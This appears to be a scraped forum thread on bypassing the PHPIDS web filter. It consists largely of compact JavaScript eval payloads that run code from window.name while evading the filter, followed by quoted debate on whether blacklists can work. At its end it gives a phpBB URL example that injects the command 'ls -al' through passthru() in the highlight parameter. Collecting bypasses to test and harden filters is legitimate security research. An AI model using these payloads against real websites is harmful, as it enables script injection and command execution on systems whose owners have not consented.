x={}.eval, x(x('x\nname'),1)
x=(1).eval, x(x('x\nname'),1)
x='x'.eval, x(x('x\nname'),1)
x=[1].eval, x(x('x\nname'),1)
x=(/x/).eval, x(x('x\nname'),1)
x=('x').eval, x(x('x\nname'),1)
$x={}.eval,$x($x('$x\nname'),1)
x=(1,1).eval, x(x('x\nname'),1)
x=(false).eval, x(x('x\nname'),1)
(x={}.eval,x)(x('x\nname'),1)
e=1..eval
e(e("\u200fname"),e)
x=[$='e'].eval
x(x('nam'+$),1)
This is another one that requires just 1 char for the newline to stay under the 30 char limit.x=.1.eval z$=1+name x(z$)
xxx=.1.eval zzz$=1 + name xxx(zzz$)
Quote
Do you all think this will actually come to a stop at some point and it will be perfect?
Quote
Do you think after 17 pages of bugs there is a realistic end in sight?
Quote
I'm all for fun experiments
Quote
To me this feels like fundamentally the wrong approach
Quote
I've actually become quite curious recently as to how PHPIDS compares to other WAFs
Quote
I believe it is worth the trouble. Anyone who has tried to bypass the PHPIDS has probably learned something.
Quote
What I mean is that the fundamental approach of blacklisting is flawed
Quote
To me, I can't see myself integrating it for the sheer headache alone.
Quote
I'm only saying I think this is the wrong approach. Blacklists have been proven to fail for 17 pages.
passthru() in phpBB code then only supply: 'ls -al' as parameter or any other dangerous command. /phpbb/somepath/viewtopic.php?t=2&highlight='ls -al'
/phpbb/somepath/viewtopic.php?t=2&highlight='printf(123456)'